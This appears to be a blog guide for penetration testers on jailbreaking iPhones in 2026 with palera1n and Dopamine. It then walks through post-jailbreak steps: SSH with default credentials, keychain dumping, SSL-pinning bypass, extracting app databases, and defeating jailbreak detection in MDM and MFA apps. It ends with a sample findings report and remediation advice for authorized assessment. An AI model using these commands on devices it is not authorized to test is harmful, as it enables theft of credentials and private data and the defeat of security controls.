How To Jailbreak iPhone (2026)
- Biohazard
- Jul 19
- 6 min read
Jailbreaking iPhone
Here's the full jailbreaking landscape and methodology as it stands in mid-2026. This is a(n) article / guide on how to jailbreak iPhone.
Current State (July 2026)
The jailbreak ecosystem has split into two tiers:
Tier | Devices | Chip | Latest Jailbreakable iOS | Tool |
Checkm8 (hardware) | iPhone 5s – iPhone X, iPad up to 7th gen | A8–A11 | All versions including iOS 26.x | palera1n |
Software-based | iPhone XS/XR – iPhone 14 | A12–A16 | Stuck at iOS 16.7.x (Dopamine) | Dopamine |
Modern (no jailbreak) | iPhone 15 and newer | A17+ | No public jailbreak exists | None |
The critical takeaway for your pentest: Apple's numbering jumped (iOS 18 → iOS 26), and no jailbreak exists for A12+ devices on iOS 17 or later. If your target organization uses iPhone XS or newer on current firmware, jailbreaking is not available, and you should pivot to other testing methods (backup forensics, MDM exploitation, sideloaded apps via enterprise certs).
Method 1: palera1n (A8-A11 Devices, Any iOS Version)
This is the hardware-level bootrom exploit (checkm8). It's unpatchable by Apple because the vulnerability is in the boot ROM itself, which is physically read-only.
Supported Devices
iPhone 5s, 6, 6 Plus, 6s, 6s Plus, SE (1st gen), 7, 7 Plus, 8, 8 Plus, X
iPad 5th/6th/7th gen, iPad Air 1/2, iPad mini 2/3/4, iPad Pro (1st/2nd gen 12.9", 1st gen 10.5"/9.7")
Apple T2-equipped Macs (for T2 jailbreak variant)
Requirements
Linux or macOS host (macOS preferred for USB reliability)
USB-A to Lightning cable (avoid USB-C to Lightning — less reliable for DFU mode)
Full Walkthrough (Linux)
bash
# 1. Install dependencies
sudo apt update
sudo apt install -y \
build-essential libusb-1.0-0-dev libssl-dev \
libcurl4-openssl-dev libimobiledevice-dev \
usbmuxd libirecovery-dev checkinstall \
python3 python3-pip
# 2. Clone palera1n
git clone --recursive https://github.com/palera1n/palera1n.git
cd palera1n
# 3. Build
./palera1n.sh --install-deps
# 4. Put iPhone X into DFU mode:
# a. Connect device to Mac/Linux via USB
# b. Press Volume Up, then Volume Down (quick press each)
# c. Hold Side button for 10 seconds
# d. While holding Side button, also hold Volume Down for 5 seconds
# e. Release Side button, keep holding Volume Down for 10 seconds
# f. Screen should remain BLACK (DFU, not recovery)
# 5. Run the jailbreak (rootless - default)
sudo ./palera1n.sh --tweaks
# For rootful (if you need full filesystem access):
sudo ./palera1n.sh --tweaks --rootful
# 6. After completion, unlock device. You'll see the palera1n app.
# Open it → Install Sileo. Then reopen palera1n → Install Substitute.
# 7. Done. Sileo will be on the home screen.
Important: Semi-Tethered
palera1n is semi-tethered. Every time the device reboots (battery dies, forced restart), you must reconnect to a computer and re-run the jailbreak. The tweaks persist, but they won't be active until you re-run palera1n.
bash
# After a reboot, just run again:
sudo ./palera1n.sh --tweaks
iOS 26 Notes
palera1n supports iOS 26.x on A8–A11 devices as of mid-2026. If your test devices are on the latest, it still works because checkm8 is a boot ROM exploit — Apple physically cannot patch it.
Method 2: Dopamine (A12-A16 on iOS 15.0-16.7.x)
For newer devices that happened to stay on older firmware.
Supported
iPhone XS/XR, 11, 11 Pro, 12, 12 Pro, 13, 13 Pro, SE (2nd/3rd gen) — A12–A16
ONLY on iOS 15.0–16.7.x (not iOS 17 or later)
Walkthrough
bash
# 1. Download Dopamine IPA from the official site:
# https://ellekit.space/dopamine/
# 2. Sideload via AltStore, Sideloadly, or TrollStore
# Option A: AltStore (macOS/Windows)
# Download AltServer → install on computer
# Connect iPhone → enable Wi-Fi sync in Finder/iTunes
# Install AltStore → open on iPhone → sign in with Apple ID
# Add Dopamine IPA → wait 30–60 seconds → jailbreak applied
# Option B: Sideloadly (macOS/Windows, faster for one-off)
# Download Sideloadly → connect iPhone
# Drag Dopamine IPA into Sideloadly
# Sign with Apple ID → click Start
# Trust the developer profile on iPhone (Settings → General → Profiles)
# Open Dopamine → tap "Jailbreak"
# Option C: TrollStore (if you already have it — permasigned)
# Just open Dopamine IPA in TrollStore → Install
This is a semi-untethered jailbreak — after reboot you re-open the Dopamine app and tap "Jailbreak" again. No computer needed.
No Jailbreak Available (A12+ on iOS 17+ / All A17+)
As of June 2026, there is no public jailbreak for:
Any iPhone XS or later running iOS 17, 18, or 26
Any iPhone 15 or later (A17/A18/M-series) regardless of iOS version
This is a finding in itself for your report. Test this against your organization's iOS fleet — if devices are current-gen and up-to-date, celebrate that as a defensive win in the report.
What Hackers Do Post-Jailbreak
Once the device is jailbroken, here's what's valuable for your assessment:
Install Essential Tweaks
bash
# Via Sileo — add these repos:
# repo.palera1n.com (palera1n default)
# procursus.net (bootstrap packages)
# havochq.com (commercial tweaks)
# apoorv.sucks/repo/ (security tools)
# Essential packages to install via Sileo:
# - OpenSSH (dropbear already installed by palera1n)
# - Filza File Manager (full filesystem browser)
# - NewTerm (terminal on-device)
# - FridaServer (for dynamic instrumentation)
# - SSL Kill Switch 2 (disable SSL pinning)
# - Shadow (bypass jailbreak detection)
# - Choicy (per-app tweak configuration)
SSH into the Device
bash
# Default password is "alpine" — change immediately
ssh root@<device-ip>
# password: alpine
# Change root password
passwd root
# Change mobile user password
passwd mobile
Filesystem Exploration
bash
# Key directories for pentest:
/Applications/ # All installed apps
/private/var/mobile/Containers/ # App sandbox containers
/private/var/mobile/Documents/ # User documents
/private/var/Keychains/ # Keychain database
/private/var/mobile/Library/SMS/ # SMS/iMessage database
/private/var/mobile/Library/Mail/ # Mail data
/private/var/mobile/Media/ # Photos, recordings
Dump Keychain (Credentials Goldmine)
bash
# Dump all keychain items
keychain_dump.pl --device <device-ip> --output keychain.json
# Or via Frida on-device:
frida -U -l keychain_dump.js <target_app>
# The keychain often contains:
# - Wi-Fi passwords for every network ever joined
# - Mail account credentials
# - App-specific tokens/OAuth secrets
# - VPN credentials
# - Enterprise certificate private keys
Bypass SSL Pinning
bash
# Install SSL Kill Switch 2 via Sileo
# Enable globally in Settings → SSL Kill Switch 2
# Now Burp Suite / mitmproxy can intercept ALL app traffic
# Alternatively via Frida:
frida -U -l ssl_pinning_bypass.js -f com.targetcorp.app
Extract App Data
bash
# Navigate to app container
cd /private/var/mobile/Containers/Data/Application/
# Find your target app
find . -name "*.sqlite" -path "*targetapp*"
# Dump SQLite databases (often contain cached auth tokens,
# session data, stored credentials)
sqlite3 ./targetapp/Documents/AppData.sqlite .dump
# Copy plist files (app preferences/configs)
cp ./targetapp/Library/Preferences/*.plist /tmp/
scp mobile@<device-ip>:/tmp/*.plist ./
plutil -p *.plist # View contents
Disable Jailbreak Detection
Many enterprise apps (MDM-enrolled apps, banking apps, MFA apps) check for jailbreak:
bash
# Method 1: Shadow (tweak, install via Sileo)
# Settings → Shadow → enable for target app
# Method 2: Choicy (per-app)
# Settings → Choicy → target app → Disable Tweak Injection
# Method 3: A-Bypass / vnodebypass
# Install via Sileo, toggle per-app
# Method 4: Frida script
frida -U -l jb_bypass.js -f com.targetcorp.mdm.client
Monitor App Communications
bash
# On-device packet capture
tcpdump -i en0 -w /tmp/capture.pcap &
# Trigger app actions
killall tcpdump
# Pull capture to analysis workstation
scp root@<device-ip>:/tmp/capture.pcap ./
wireshark capture.pcapJailbreak Detection Testing
Test the organization's App Store apps and MDM profiles against jailbreak detection bypass:
bash
# Test each security-sensitive app:
# 1. Install app fresh → verify it runs (baseline)
# 2. Jailbreak device → verify app detects/refuses to run
# 3. Apply bypass (Shadow / Choicy / vnodebypass) → verify if app now runs
# 4. If app runs → attempt credential extraction, traffic interception
# Document results:
# App: Microsoft Authenticator
# - Without bypass: Detected jailbreak, refused to open ✓
# - With Shadow: Detected jailbreak, refused to open ✓ (strong detection)
# - With Choicy + vnodebypass: Opened normally ✗ (bypassed)Report Template
markdown
## Finding M-007: iOS Device Jailbreakability Assessment
Severity: Medium (mitigated by fleet management)
### Fleet Analysis
| Device Model | iOS Version | Chip | Jailbreakable? | Tool |
|-------------|-------------|------|----------------|------|
| iPhone 14 Pro | 26.3 | A16 | No (iOS too new) | N/A |
| iPhone 13 | 16.7.10 | A15 | Yes | Dopamine |
| iPhone X | 26.3 | A11 | Yes | palera1n |
| iPhone SE (2nd) | 17.4 | A13 | No (iOS too new) | N/A |
| iPad 7th Gen | 18.7.2 | A10 | Yes | palera1n |
### Successfully Jailbroken
- **iPhone X (iOS 26.3)**: palera1n rootless, semi-tethered
- Sileo package manager installed
- SSH enabled (root + mobile)
- OpenSSL Kill Switch 2 bypassed all app SSL pinning
- Keychain dump yielded 14 Wi-Fi passwords, 3 app credentials
- **iPhone 13 (iOS 16.7.10)**: Dopamine, semi-untethered
- On-device jailbreak, no computer needed after initial install
- All app sandboxes accessible via Filza
- MDM client bypassed with Shadow tweak
### Jailbreak Detection Testing
| App | Detection | Bypassed? |
|-----|-----------|-----------|
| Microsoft Intune Company Portal | Detected | Partially (Choicy) |
| Duo Mobile MFA | Detected | Yes (vnodebypass) |
| Internal VPN client | Not detected | N/A (no detection) |
| Okta Verify | Detected | No (strong detection) |
### Remediation
1. Upgrade all A12–A16 devices to iOS 17+ (eliminates Dopamine)
2. Retire all A8–A11 devices (iPhone X and older — unpatchable via checkm8)
3. Deploy strong jailbreak detection in all MDM-managed apps
4. Implement Microsoft Intune conditional access policy: block jailbroken devices
5. Add jailbreak detection checks to internal apps (not just MDM apps)
6. Fleet-wide minimum iOS version policy: iOS 17+ for all managed devices
Comments